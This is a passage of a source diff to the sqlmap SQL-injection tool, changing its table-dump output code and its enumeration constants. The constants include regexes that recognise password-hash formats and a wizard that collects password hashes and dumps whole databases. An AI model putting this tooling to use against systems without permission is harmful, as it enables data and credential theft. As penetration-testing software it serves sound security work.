buffering=DUMP_FILE_BUFFER_SIZE) count = int(tableValues["__infos__"]["count"]) + if count > TRIM_STDOUT_DUMP_SIZE: + warnMsg = "console output will be trimmed to " + warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE + warnMsg += "large table size" + logger.warning(warnMsg) + separator = str() field = 1 fields = len(tableValues) - 1 - columns = prioritySortColumns(tableValues.keys()) + columns = prioritySortColumns(list(tableValues.keys())) if conf.col: cols = conf.col.split(',') @@ -458,7 +545,7 @@ def dbTableValues(self, tableValues): separator += "+%s" % lines separator += "+" - self._write("Database: %s\nTable: %s" % (unsafeSQLIdentificatorNaming(db) if db else "Current database", unsafeSQLIdentificatorNaming(table))) + self._write("Database: %s\nTable: %s" % (unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "", unsafeSQLIdentificatorNaming(table))) if conf.dumpFormat == DUMP_FORMAT.SQLITE: cols = [] @@ -467,12 +554,16 @@ def dbTableValues(self, tableValues): if column != "__infos__": colType = Replication.INTEGER - for value in tableValues[column]['values']: + for i in xrange(min(CHECK_SQLITE_TYPE_THRESHOLD, len(tableValues[column]['values']))): + value = tableValues[column]['values'][i] try: if not value or value == " ": # NULL continue - int(value) + # Note: keep INTEGER only for values SQLite's affinity leaves untouched; leading zeros ('007'), signs ('+1') or 64-bit overflow would be silently rewritten on insert + parsed = int(value) + if str(parsed) != value or not (SQLITE_INT_MIN <= parsed <= SQLITE_INT_MAX): + raise ValueError except ValueError: colType = None break @@ -480,12 +571,15 @@ def dbTableValues(self, tableValues): if colType is None: colType = Replication.REAL - for value in tableValues[column]['values']: + for i in xrange(min(CHECK_SQLITE_TYPE_THRESHOLD, len(tableValues[column]['values']))): + value = tableValues[column]['values'][i] try: if not value or value == " ": # NULL continue - float(value) + # Note: likewise REAL must round-trip textually ('2.00' or '1e5' would lose their exact form) + if repr(float(value)) != value: + raise ValueError except ValueError: colType = None break @@ -496,7 +590,8 @@ def dbTableValues(self, tableValues): elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "\n\n\n") dataToDumpFile(dumpFP, "\n" % UNICODE_ENCODING) - dataToDumpFile(dumpFP, "%s\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table))) + dataToDumpFile(dumpFP, "\n" % VERSION_STRING) + dataToDumpFile(dumpFP, "%s\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table)).replace("<", "")) dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE) dataToDumpFile(dumpFP, "\n\n\n\n\n\n") @@ -513,7 +608,7 @@ def dbTableValues(self, tableValues): column = unsafeSQLIdentificatorNaming(column) maxlength = int(info["length"]) - blank = " " * (maxlength - len(column)) + blank = " " * (maxlength - getConsoleLength(column)) self._write("| %s%s" % (column, blank), newline=False) @@ -524,7 +619,7 @@ def dbTableValues(self, tableValues): else: dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: - dataToDumpFile(dumpFP, "" % cgi.escape(column).encode("ascii", "xmlcharrefreplace")) + dataToDumpFile(dumpFP, "" % (field - 1, getUnicode(htmlEscape(column).encode("ascii", "xmlcharrefreplace")))) field += 1 @@ -539,64 +634,84 @@ def dbTableValues(self, tableValues): elif conf.dumpFormat == DUMP_FORMAT.SQLITE: rtable.beginTransaction() - if count > TRIM_STDOUT_DUMP_SIZE: - warnMsg = "console output will be trimmed to " - warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE - warnMsg += "large table size" - logger.warning(warnMsg) + # Precompute the per-column layout once. These values are invariant across + # every row, so resolving them per cell (dict lookup, int() conversion and + # identifier normalization) wasted count x ncols work on large dumps. + dumpColumns = [] + for column in columns: + if column != "__infos__": + info = tableValues[column] + dumpColumns.append((unsafeSQLIdentificatorNaming(column), info["values"], int(info["length"]))) for i in xrange(count): console = (i >= count - TRIM_STDOUT_DUMP_SIZE) field = 1 - values = [] - if conf.dumpFormat == DUMP_FORMAT.HTML: - dataToDumpFile(dumpFP, "") + # Only the SQLITE and JSONL paths accumulate a per-row container; the + # others left these unused, wasting an allocation on every single row + if conf.dumpFormat == DUMP_FORMAT.SQLITE: + values = [] + elif conf.dumpFormat == DUMP_FORMAT.JSONL: + record = OrderedDict() - for column in columns: - if column != "__infos__": - info = tableValues[column] + if i == 0 and count > TRIM_STDOUT_DUMP_SIZE: + self._write(" ...") - if len(info["values"]) <= i: - continue + if conf.dumpFormat == DUMP_FORMAT.HTML: + dataToDumpFile(dumpFP, "") - if info["values"][i] is None: - value = u'' + for safeColumn, colValues, maxlength in dumpColumns: + if len(colValues) <= i or colValues[i] is None: + value = u'' + else: + value = getUnicode(colValues[i]) + value = DUMP_REPLACEMENTS.get(value, value) + + if conf.dumpFormat == DUMP_FORMAT.SQLITE: + # Note: store a real NULL for the NULL sentinel (and the raw value otherwise), + # mirroring the JSONL path below; appending the display-replaced 'NULL'/'' + # text would corrupt the INTEGER/REAL-typed columns inferred above + if len(colValues) <= i or colValues[i] is None or colValues[i] == " ": # NULL + values.append(None) else: - value = getUnicode(info["values"][i]) - value = DUMP_REPLACEMENTS.get(value, value) - - values.append(value) - maxlength = int(info["length"]) - blank = " " * (maxlength - len(value)) - self._write("| %s%s" % (value, blank), newline=False, console=console) - - if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value: - try: - mimetype = magic.from_buffer(value, mime=True) - if any(mimetype.startswith(_) for _ in ("application", "image")): - if not os.path.isdir(dumpDbPath): - os.makedirs(dumpDbPath, 0755) - - filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (unsafeSQLIdentificatorNaming(column), randomInt(8))) - warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath) - logger.warn(warnMsg) + values.append(getUnicode(colValues[i])) - with open(filepath, "wb") as f: - _ = safechardecode(value, True) - f.write(_) - except magic.MagicException, err: - logger.debug(str(err)) + blank = " " * (maxlength - getConsoleLength(value)) + self._write("| %s%s" % (value, blank), newline=False, console=console) - if conf.dumpFormat == DUMP_FORMAT.CSV: - if field == fields: - dataToDumpFile(dumpFP, "%s" % safeCSValue(value)) - else: - dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) - elif conf.dumpFormat == DUMP_FORMAT.HTML: - dataToDumpFile(dumpFP, "" % cgi.escape(value).encode("ascii", "xmlcharrefreplace")) + if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value: + try: + mimetype = getText(magic.from_buffer(getBytes(value), mime=True)) + if any(mimetype.startswith(_) for _ in ("application", "image")): + if not os.path.isdir(dumpDbPath): + os.makedirs(dumpDbPath) + + _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(safeColumn)) + filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8))) + warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath) + logger.warning(warnMsg) + + with openFile(filepath, "w+b", None) as f: + _ = safechardecode(value, True) + f.write(_) + + except Exception as ex: + logger.debug(getSafeExString(ex)) + + if conf.dumpFormat == DUMP_FORMAT.CSV: + if field == fields: + dataToDumpFile(dumpFP, "%s" % safeCSValue(value)) + else: + dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) + elif conf.dumpFormat == DUMP_FORMAT.HTML: + dataToDumpFile(dumpFP, "" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace"))) + elif conf.dumpFormat == DUMP_FORMAT.JSONL: + if len(colValues) <= i or colValues[i] is None or colValues[i] == " ": # NULL + record[safeColumn] = None + else: + record[safeColumn] = getUnicode(colValues[i]) - field += 1 + field += 1 if conf.dumpFormat == DUMP_FORMAT.SQLITE: try: @@ -607,6 +722,8 @@ def dbTableValues(self, tableValues): dataToDumpFile(dumpFP, "\n") elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "\n") + elif conf.dumpFormat == DUMP_FORMAT.JSONL: + dataToDumpFile(dumpFP, "%s\n" % getUnicode(json.dumps(record, ensure_ascii=False))) self._write("|", console=console) @@ -614,25 +731,26 @@ def dbTableValues(self, tableValues): if conf.dumpFormat == DUMP_FORMAT.SQLITE: rtable.endTransaction() - logger.info("table '%s.%s' dumped to sqlite3 database '%s'" % (db, table, replication.dbpath)) + logger.info("table '%s.%s' dumped to SQLITE database '%s'" % (db, table, replication.dbpath)) - elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): + elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML, DUMP_FORMAT.JSONL): if conf.dumpFormat == DUMP_FORMAT.HTML: - dataToDumpFile(dumpFP, "\n
%s%s
%s%s
\n\n") - else: - dataToDumpFile(dumpFP, "\n") + dataToDumpFile(dumpFP, "\n\n\n\n") + # Note: each CSV row already ends with '\n' (above); no extra close-newline, otherwise + # the file ends with a blank line and a later --start/--stop append injects an empty record dumpFP.close() msg = "table '%s.%s' dumped to %s file '%s'" % (db, table, conf.dumpFormat, dumpFileName) if not warnFile: logger.info(msg) else: - logger.warn(msg) + logger.warning(msg) def dbColumns(self, dbColumnsDict, colConsider, dbs): - if hasattr(conf, "api"): + self._reportData(dbColumnsDict, CONTENT_TYPE.COLUMNS) + + if conf.api: self._write(dbColumnsDict, content_type=CONTENT_TYPE.COLUMNS) - return for column in dbColumnsDict.keys(): if colConsider == "1": @@ -640,30 +758,30 @@ def dbColumns(self, dbColumnsDict, colConsider, dbs): else: colConsiderStr = " '%s' was" % unsafeSQLIdentificatorNaming(column) - msg = "column%s found in the " % colConsiderStr - msg += "following databases:" - self._write(msg) - - _ = {} - + found = {} for db, tblData in dbs.items(): for tbl, colData in tblData.items(): for col, dataType in colData.items(): if column.lower() in col.lower(): - if db in _: - if tbl in _[db]: - _[db][tbl][col] = dataType + if db in found: + if tbl in found[db]: + found[db][tbl][col] = dataType else: - _[db][tbl] = {col: dataType} + found[db][tbl] = {col: dataType} else: - _[db] = {} - _[db][tbl] = {col: dataType} + found[db] = {} + found[db][tbl] = {col: dataType} continue - self.dbTableColumns(_) + if found: + msg = "column%s found in the " % colConsiderStr + msg += "following databases:" + self._write(msg) + + self.dbTableColumns(found) - def query(self, query, queryRes): + def sqlQuery(self, query, queryRes): self.string(query, queryRes, content_type=CONTENT_TYPE.SQL_QUERY) def rFile(self, fileData): diff --git a/lib/core/enums.py b/lib/core/enums.py index 1ba4b81850c..aa8cc4e6561 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -1,11 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -class PRIORITY: +class PRIORITY(object): LOWEST = -100 LOWER = -50 LOW = -10 @@ -14,7 +14,7 @@ class PRIORITY: HIGHER = 50 HIGHEST = 100 -class SORT_ORDER: +class SORT_ORDER(object): FIRST = 0 SECOND = 1 THIRD = 2 @@ -22,7 +22,16 @@ class SORT_ORDER: FIFTH = 4 LAST = 100 -class DBMS: +# Reference: https://docs.python.org/2/library/logging.html#logging-levels +class LOGGING_LEVELS(object): + NOTSET = 0 + DEBUG = 10 + INFO = 20 + WARNING = 30 + ERROR = 40 + CRITICAL = 50 + +class DBMS(object): ACCESS = "Microsoft Access" DB2 = "IBM DB2" FIREBIRD = "Firebird" @@ -33,9 +42,29 @@ class DBMS: PGSQL = "PostgreSQL" SQLITE = "SQLite" SYBASE = "Sybase" + INFORMIX = "Informix" HSQLDB = "HSQLDB" - -class DBMS_DIRECTORY_NAME: + H2 = "H2" + MONETDB = "MonetDB" + DERBY = "Apache Derby" + VERTICA = "Vertica" + MCKOI = "Mckoi" + PRESTO = "Presto" + ALTIBASE = "Altibase" + MIMERSQL = "MimerSQL" + CLICKHOUSE = "ClickHouse" + CRATEDB = "CrateDB" + CUBRID = "Cubrid" + CACHE = "InterSystems Cache" + EXTREMEDB = "eXtremeDB" + FRONTBASE = "FrontBase" + RAIMA = "Raima Database Manager" + VIRTUOSO = "Virtuoso" + SNOWFLAKE = "Snowflake" + SPANNER = "Spanner" + HANA = "SAP HANA" + +class DBMS_DIRECTORY_NAME(object): ACCESS = "access" DB2 = "db2" FIREBIRD = "firebird" @@ -47,17 +76,59 @@ class DBMS_DIRECTORY_NAME: SQLITE = "sqlite" SYBASE = "sybase" HSQLDB = "hsqldb" - -class CUSTOM_LOGGING: + H2 = "h2" + INFORMIX = "informix" + MONETDB = "monetdb" + DERBY = "derby" + VERTICA = "vertica" + MCKOI = "mckoi" + PRESTO = "presto" + ALTIBASE = "altibase" + MIMERSQL = "mimersql" + CLICKHOUSE = "clickhouse" + CRATEDB = "cratedb" + CUBRID = "cubrid" + CACHE = "cache" + EXTREMEDB = "extremedb" + FRONTBASE = "frontbase" + RAIMA = "raima" + VIRTUOSO = "virtuoso" + SNOWFLAKE = "snowflake" + SPANNER = "spanner" + HANA = "hana" + +class FORK(object): + MARIADB = "MariaDB" + MEMSQL = "MemSQL" + PERCONA = "Percona" + COCKROACHDB = "CockroachDB" + TIDB = "TiDB" + REDSHIFT = "Amazon Redshift" + GREENPLUM = "Greenplum" + DRIZZLE = "Drizzle" + IGNITE = "Apache Ignite" + AURORA = "Aurora" + ENTERPRISEDB = "EnterpriseDB" + YELLOWBRICK = "Yellowbrick" + IRIS = "Iris" + YUGABYTEDB = "YugabyteDB" + OPENGAUSS = "OpenGauss" + DM8 = "DM8" + DORIS = "Doris" + STARROCKS = "StarRocks" + TRINO = "Trino" + DUCKDB = "DuckDB" + +class CUSTOM_LOGGING(object): PAYLOAD = 9 TRAFFIC_OUT = 8 TRAFFIC_IN = 7 -class OS: +class OS(object): LINUX = "Linux" WINDOWS = "Windows" -class PLACE: +class PLACE(object): GET = "GET" POST = "POST" URI = "URI" @@ -68,90 +139,125 @@ class PLACE: CUSTOM_POST = "(custom) POST" CUSTOM_HEADER = "(custom) HEADER" -class POST_HINT: +class POST_HINT(object): SOAP = "SOAP" JSON = "JSON" JSON_LIKE = "JSON-like" MULTIPART = "MULTIPART" XML = "XML (generic)" ARRAY_LIKE = "Array-like" + GRPC_WEB = "gRPC-Web" -class HTTPMETHOD: +class HTTPMETHOD(object): GET = "GET" POST = "POST" HEAD = "HEAD" PUT = "PUT" - DELETE = "DETELE" + DELETE = "DELETE" TRACE = "TRACE" OPTIONS = "OPTIONS" CONNECT = "CONNECT" PATCH = "PATCH" -class NULLCONNECTION: +class NULLCONNECTION(object): HEAD = "HEAD" RANGE = "Range" SKIP_READ = "skip-read" -class REFLECTIVE_COUNTER: +class REFLECTIVE_COUNTER(object): MISS = "MISS" HIT = "HIT" -class CHARSET_TYPE: +class CHARSET_TYPE(object): BINARY = 1 DIGITS = 2 HEXADECIMAL = 3 ALPHA = 4 ALPHANUM = 5 -class HEURISTIC_TEST: +class HEURISTIC_TEST(object): CASTED = 1 NEGATIVE = 2 POSITIVE = 3 -class HASH: +class HASH(object): MYSQL = r'(?i)\A\*[0-9a-f]{40}\Z' MYSQL_OLD = r'(?i)\A(?![0-9]+\Z)[0-9a-f]{16}\Z' POSTGRES = r'(?i)\Amd5[0-9a-f]{32}\Z' + POSTGRES_SCRAM = r'\ASCRAM-SHA-256\$\d+:[A-Za-z0-9+/]+={0,2}\$[A-Za-z0-9+/]+={0,2}:[A-Za-z0-9+/]+={0,2}\Z' + MYSQL_SHA2 = r'\A\$mysql\$A\$[0-9A-Fa-f]{3}\*[0-9A-Fa-f]{40}\*[0-9A-Fa-f]{86}\Z' MSSQL = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{40}\Z' MSSQL_OLD = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{80}\Z' MSSQL_NEW = r'(?i)\A0x0200[0-9a-f]{8}[0-9a-f]{128}\Z' ORACLE = r'(?i)\As:[0-9a-f]{60}\Z' - ORACLE_OLD = r'(?i)\A[01-9a-f]{16}\Z' - MD5_GENERIC = r'(?i)\A[0-9a-f]{32}\Z' - SHA1_GENERIC = r'(?i)\A[0-9a-f]{40}\Z' - SHA224_GENERIC = r'(?i)\A[0-9a-f]{28}\Z' - SHA384_GENERIC = r'(?i)\A[0-9a-f]{48}\Z' - SHA512_GENERIC = r'(?i)\A[0-9a-f]{64}\Z' - CRYPT_GENERIC = r'(?i)\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z' - WORDPRESS = r'(?i)\A\$P\$[./0-9A-Za-z]{31}\Z' - -# Reference: http://www.zytrax.com/tech/web/mobile_ids.html -class MOBILES: - BLACKBERRY = ("BlackBerry 9900", "Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+") - GALAXY = ("Samsung Galaxy S", "Mozilla/5.0 (Linux; U; Android 2.2; en-US; SGH-T959D Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1") + ORACLE_12C = r'(?i)\At:[0-9a-f]{160}\Z' + ORACLE_OLD = r'(?i)\A[0-9a-f]{16}\Z' + MD5_GENERIC = r'(?i)\A(0x)?[0-9a-f]{32}\Z' + SHA1_GENERIC = r'(?i)\A(0x)?[0-9a-f]{40}\Z' + SHA224_GENERIC = r'(?i)\A[0-9a-f]{56}\Z' + SHA256_GENERIC = r'(?i)\A(0x)?[0-9a-f]{64}\Z' + SHA384_GENERIC = r'(?i)\A[0-9a-f]{96}\Z' + SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z' + CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z' + SHA256_UNIX_CRYPT = r'\A\$5\$(?:rounds=\d+\$)?[./0-9A-Za-z]{1,16}\$[./0-9A-Za-z]{43}\Z' + SHA512_UNIX_CRYPT = r'\A\$6\$(?:rounds=\d+\$)?[./0-9A-Za-z]{1,16}\$[./0-9A-Za-z]{86}\Z' + JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z' + PHPASS = r'\A\$[PHQS]\$[./0-9a-zA-Z]{31}\Z' + APACHE_MD5_CRYPT = r'\A\$apr1\$.{1,8}\$[./a-zA-Z0-9]+\Z' + UNIX_MD5_CRYPT = r'\A\$1\$.{1,8}\$[./a-zA-Z0-9]+\Z' + APACHE_SHA1 = r'\A\{SHA\}[a-zA-Z0-9+/]+={0,2}\Z' + VBULLETIN = r'\A[0-9a-fA-F]{32}:.{30}\Z' + VBULLETIN_OLD = r'\A[0-9a-fA-F]{32}:.{3}\Z' + OSCOMMERCE_OLD = r'\A[0-9a-fA-F]{32}:.{2}\Z' + SSHA = r'\A\{SSHA\}[a-zA-Z0-9+/]+={0,2}\Z' + SSHA256 = r'\A\{SSHA256\}[a-zA-Z0-9+/]+={0,2}\Z' + SSHA512 = r'\A\{SSHA512\}[a-zA-Z0-9+/]+={0,2}\Z' + DJANGO_MD5 = r'\Amd5\$[^$]*\$[0-9a-f]{32}\Z' + DJANGO_SHA1 = r'\Asha1\$[^$]*\$[0-9a-f]{40}\Z' + DJANGO_PBKDF2_SHA256 = r'\Apbkdf2_sha256\$\d+\$[^$]+\$[A-Za-z0-9+/]+={0,2}\Z' + WERKZEUG_PBKDF2 = r'\Apbkdf2:(?:sha1|sha256|sha512):\d+\$[^$]+\$[0-9a-f]+\Z' + WERKZEUG_SCRYPT = r'\Ascrypt:\d+:\d+:\d+\$[^$]+\$[0-9a-f]+\Z' + BCRYPT = r'\A\$2[abxy]\$\d{2}\$[./A-Za-z0-9]{53}\Z' + WORDPRESS_BCRYPT = r'\A\$wp\$2[abxy]\$\d{2}\$[./A-Za-z0-9]{53}\Z' + ARGON2 = r'\A\$argon2(?:id|i|d)\$v=\d+\$m=\d+,t=\d+,p=\d+\$[A-Za-z0-9+/]+={0,2}\$[A-Za-z0-9+/]+={0,2}\Z' + ASPNET_IDENTITY = r'\AAQAAAA[A-Za-z0-9+/]{76}==\Z' + MD5_BASE64 = r'\A[a-zA-Z0-9+/]{22}==\Z' + SHA1_BASE64 = r'\A[a-zA-Z0-9+/]{27}=\Z' + SHA256_BASE64 = r'\A[a-zA-Z0-9+/]{43}=\Z' + SHA512_BASE64 = r'\A[a-zA-Z0-9+/]{86}==\Z' + +# Reference: https://whatmyuseragent.com/brand/ +class MOBILES(object): + BLACKBERRY = ("BlackBerry Z10", "Mozilla/5.0 (BB10; Kbd) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.3.2205 Mobile Safari/537.35+") + GALAXY = ("Samsung Galaxy A54", "Mozilla/5.0 (Linux; Android 15; SM-A546B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.7339.155 Mobile Safari/537.36 AirWatchBrowser/25.08.0.2131") HP = ("HP iPAQ 6365", "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; HP iPAQ h6300)") - HTC = ("HTC Sensation", "Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30") - IPHONE = ("Apple iPhone 4s", "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B179 Safari/7534.48.3") + HTC = ("HTC One X2", "Mozilla/5.0 (Linux; Android 14; X2-HT) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.46 Mobile Safari/537.36") + HUAWEI = ("Huawei Honor 90 Pro", "Mozilla/5.0 (Linux; Android 15; REP-AN00 Build/HONORREP-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/133.0.6943.137 Mobile Safari/537.36") + IPHONE = ("Apple iPhone 15 Pro Max", "Mozilla/7.0 (iPhone; CPU iPhone OS 18_7; iPhone 15 Pro Max) AppleWebKit/533.2 (KHTML, like Gecko) CriOS/126.0.6478.35 Mobile/15E148 Safari/804.17") + LUMIA = ("Microsoft Lumia 950 XL", "Mozilla/5.0 (Windows Mobile 10; Android 10.0;Microsoft;Lumia 950XL) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36 Edge/40.15254.603") NEXUS = ("Google Nexus 7", "Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19") NOKIA = ("Nokia N97", "Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344") + PIXEL = ("Google Pixel 9", "Mozilla/5.0 (Linux; Android 14; Pixel 9) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/24.0 Chrome/139.0.0.0 Mobile Safari/537.36") + XIAOMI = ("Xiaomi Redmi 15C", "Mozilla/5.0 (Linux; Android 15; REDMI 15C Build/AP3A.240905.015.A2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.118 Mobile Safari/537.36 XiaoMi/MiuiBrowser/14.43.0-gn") -class PROXY_TYPE: +class PROXY_TYPE(object): HTTP = "HTTP" HTTPS = "HTTPS" SOCKS4 = "SOCKS4" SOCKS5 = "SOCKS5" -class REGISTRY_OPERATION: +class REGISTRY_OPERATION(object): READ = "read" ADD = "add" DELETE = "delete" -class DUMP_FORMAT: +class DUMP_FORMAT(object): CSV = "CSV" HTML = "HTML" SQLITE = "SQLITE" + JSONL = "JSONL" -class HTTP_HEADER: +class HTTP_HEADER(object): ACCEPT = "Accept" ACCEPT_CHARSET = "Accept-Charset" ACCEPT_ENCODING = "Accept-Encoding" @@ -164,32 +270,44 @@ class HTTP_HEADER: CONTENT_RANGE = "Content-Range" CONTENT_TYPE = "Content-Type" COOKIE = "Cookie" - SET_COOKIE = "Set-Cookie" + EXPIRES = "Expires" HOST = "Host" + IF_MODIFIED_SINCE = "If-Modified-Since" + IF_NONE_MATCH = "If-None-Match" + LAST_MODIFIED = "Last-Modified" LOCATION = "Location" PRAGMA = "Pragma" PROXY_AUTHORIZATION = "Proxy-Authorization" PROXY_CONNECTION = "Proxy-Connection" RANGE = "Range" REFERER = "Referer" + REFRESH = "Refresh" # Reference: http://stackoverflow.com/a/283794 + RETRY_AFTER = "Retry-After" SERVER = "Server" - USER_AGENT = "User-Agent" + SET_COOKIE = "Set-Cookie" TRANSFER_ENCODING = "Transfer-Encoding" URI = "URI" + USER_AGENT = "User-Agent" VIA = "Via" + X_POWERED_BY = "X-Powered-By" + X_DATA_ORIGIN = "X-Data-Origin" -class EXPECTED: +class EXPECTED(object): BOOL = "bool" INT = "int" -class OPTION_TYPE: +class OPTION_TYPE(object): BOOLEAN = "boolean" INTEGER = "integer" FLOAT = "float" STRING = "string" -class HASHDB_KEYS: +class HASHDB_KEYS(object): DBMS = "DBMS" + DBMS_FORK = "DBMS_FORK" + CHECK_WAF_RESULT = "CHECK_WAF_RESULT" + CHECK_WAF_BYPASS = "CHECK_WAF_BYPASS" + CHECK_NULL_CONNECTION_RESULT = "CHECK_NULL_CONNECTION_RESULT" CONF_TMP_PATH = "CONF_TMP_PATH" KB_ABS_FILE_PATHS = "KB_ABS_FILE_PATHS" KB_BRUTE_COLUMNS = "KB_BRUTE_COLUMNS" @@ -201,54 +319,58 @@ class HASHDB_KEYS: KB_XP_CMDSHELL_AVAILABLE = "KB_XP_CMDSHELL_AVAILABLE" OS = "OS" -class REDIRECTION: - YES = "Y" - NO = "N" +class REDIRECTION(object): + YES = 'Y' + NO = 'N' -class PAYLOAD: +class PAYLOAD(object): SQLINJECTION = { - 1: "boolean-based blind", - 2: "error-based", - 3: "inline query", - 4: "stacked queries", - 5: "AND/OR time-based blind", - 6: "UNION query", - } + 1: "boolean-based blind", + 2: "error-based", + 3: "inline query", + 4: "stacked queries", + 5: "time-based blind", + 6: "UNION query", + } PARAMETER = { - 1: "Unescaped numeric", - 2: "Single quoted string", - 3: "LIKE single quoted string", - 4: "Double quoted string", - 5: "LIKE double quoted string", - } + 1: "Unescaped numeric", + 2: "Single quoted string", + 3: "LIKE single quoted string", + 4: "Double quoted string", + 5: "LIKE double quoted string", + 6: "Identifier (e.g. column name)", + 7: "Block comment", + 8: "Alternative quoted string", + } RISK = { - 0: "No risk", - 1: "Low risk", - 2: "Medium risk", - 3: "High risk", - } + 0: "No risk", + 1: "Low risk", + 2: "Medium risk", + 3: "High risk", + } CLAUSE = { - 0: "Always", - 1: "WHERE", - 2: "GROUP BY", - 3: "ORDER BY", - 4: "LIMIT", - 5: "OFFSET", - 6: "TOP", - 7: "Table name", - 8: "Column name", - } - - class METHOD: + 0: "Always", + 1: "WHERE", + 2: "GROUP BY", + 3: "ORDER BY", + 4: "LIMIT", + 5: "OFFSET", + 6: "TOP", + 7: "Table name", + 8: "Column name", + 9: "Pre-WHERE (non-query)", + } + + class METHOD(object): COMPARISON = "comparison" GREP = "grep" TIME = "time" UNION = "union" - class TECHNIQUE: + class TECHNIQUE(object): BOOLEAN = 1 ERROR = 2 QUERY = 3 @@ -256,93 +378,156 @@ class TECHNIQUE: TIME = 5 UNION = 6 - class WHERE: + class WHERE(object): ORIGINAL = 1 NEGATIVE = 2 REPLACE = 3 -class WIZARD: +class WIZARD(object): BASIC = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba") INTERMEDIATE = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba", "getUsers", "getDbs", "getTables", "getSchema", "excludeSysDbs") ALL = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba", "getHostname", "getUsers", "getPasswordHashes", "getPrivileges", "getRoles", "dumpAll") -class ADJUST_TIME_DELAY: +class ADJUST_TIME_DELAY(object): DISABLE = -1 NO = 0 YES = 1 -class WEB_API: +class WEB_PLATFORM(object): PHP = "php" ASP = "asp" ASPX = "aspx" JSP = "jsp" - -class CONTENT_TYPE: - TECHNIQUES = 0 - DBMS_FINGERPRINT = 1 - BANNER = 2 - CURRENT_USER = 3 - CURRENT_DB = 4 - HOSTNAME = 5 - IS_DBA = 6 - USERS = 7 - PASSWORDS = 8 - PRIVILEGES = 9 - ROLES = 10 - DBS = 11 - TABLES = 12 - COLUMNS = 13 - SCHEMA = 14 - COUNT = 15 - DUMP_TABLE = 16 - SEARCH = 17 - SQL_QUERY = 18 - COMMON_TABLES = 19 - COMMON_COLUMNS = 20 - FILE_READ = 21 - FILE_WRITE = 22 - OS_CMD = 23 - REG_READ = 24 - -PART_RUN_CONTENT_TYPES = { - "checkDbms": CONTENT_TYPE.TECHNIQUES, - "getFingerprint": CONTENT_TYPE.DBMS_FINGERPRINT, - "getBanner": CONTENT_TYPE.BANNER, - "getCurrentUser": CONTENT_TYPE.CURRENT_USER, - "getCurrentDb": CONTENT_TYPE.CURRENT_DB, - "getHostname": CONTENT_TYPE.HOSTNAME, - "isDba": CONTENT_TYPE.IS_DBA, - "getUsers": CONTENT_TYPE.USERS, - "getPasswordHashes": CONTENT_TYPE.PASSWORDS, - "getPrivileges": CONTENT_TYPE.PRIVILEGES, - "getRoles": CONTENT_TYPE.ROLES, - "getDbs": CONTENT_TYPE.DBS, - "getTables": CONTENT_TYPE.TABLES, - "getColumns": CONTENT_TYPE.COLUMNS, - "getSchema": 